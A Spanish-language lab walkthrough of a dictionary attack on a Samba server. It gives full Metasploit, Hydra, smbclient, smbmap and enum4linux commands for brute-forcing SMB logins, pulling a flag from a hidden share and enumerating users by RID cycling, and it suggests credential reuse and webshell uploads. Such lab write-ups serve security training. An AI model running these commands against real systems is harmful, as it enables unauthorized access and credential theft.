🔑 Ataque por diccionario contra Samba
Un ataque por diccionario prueba automáticamente listas de contraseñas comunes contra un servicio. Contra SMB, permite descubrir credenciales válidas para acceder a recursos compartidos protegidos.
Este laboratorio combina Metasploit y Hydra para atacar distintos usuarios, y luego usa smbclient y enum4linux para explotar el acceso y mapear la infraestructura de usuarios.
Herramientas usadas: Metasploit (smb_login) para jane, Hydra con rockyou.txt para admin, smbmap/smbclient para acceso, enum4linux para enumeración de SIDs.
🔧 Comandos del laboratorio
1. Fuerza bruta SMB con Metasploit (usuario "jane")
msfconsole
use auxiliary/scanner/smb/smb_login
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set SMBUser jane
set RHOSTS <IP>
exploit
# Resultado: jane:abc123
2. Fuerza bruta con Hydra (usuario "admin")
bash — descomprimir rockyou si es necesario
gzip -d /usr/share/wordlists/rockyou.txt.gz
bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP> smb
# Resultado: admin:password1
3. Listar permisos de shares con smbmap
bash
smbmap -H <IP> -u admin -p password1
Permisos observados:
nancy → solo lectura | shawn, admin → lectura/escritura
nancy → solo lectura | shawn, admin → lectura/escritura
4. Comprobar share de "jane"
bash — listar shares
smbclient -L <IP> -U jane
bash — acceso directo (no visible públicamente)
smbclient //<IP>/jane -U jane
5. Extraer la flag desde el share "admin"
bash
smbclient //<IP>/admin -U admin
ls
cd hidden
get flag.tar.gz
bye
bash — descomprimir y leer flag
tar -xf flag.tar.gz
cat flag
# Flag: 2727069bc058053bd561ce372721c92e
6. Enumerar named pipes con Metasploit
msfconsole
use auxiliary/scanner/smb/pipe_auditor
set SMBUser admin
set SMBPass password1
set RHOSTS <IP>
exploit
# Pipes: netlogon, lsarpc, samr, eventlog, srvsvc, wkssvc...
7. Enumerar SIDs de usuarios Unix (RID cycling)
El RID cycling itera por identificadores numéricos para mapear usuarios del sistema aunque estén ocultos.
bash
enum4linux -r -u "admin" -p "password1" <IP>
# shawn S-1-22-1-1000
# jane S-1-22-1-1001
# nancy S-1-22-1-1002
# admin S-1-22-1-1003
🗼 Flujo del ataque
1
Fuerza bruta SMBMetasploit smb_login para "jane", Hydra para "admin".
2
Mapeo de permisossmbmap para ver qué shares son accesibles y con qué permisos.
3
Descubrir shares ocultossmbclient para conectar directamente aunque el share no esté listado.
4
Extraer la flagNavegar al share admin → carpeta hidden → descargar flag.tar.gz.
5
Enumeración avanzadapipe_auditor para named pipes + RID cycling para mapa completo de usuarios.
🎯 ¿Qué buscar? — Indicadores de éxito
- Credenciales válidas encontradas → comprobar reutilización en SSH, RDP y otros servicios.
- Share con permisos de escritura → posible subida de payloads o webshells.
- Archivos comprimidos (
.tar.gz,.zip) en shares → pueden contener flags o credenciales. - Named pipes como
samrylsarpcactivos → posible enumeración de AD. - RID cycling revela usuarios que no aparecen en enum4linux sin credenciales.
- Contraseñas débiles (
abc123,password1) → muy comunes en laboratorios y entornos reales desactualizados.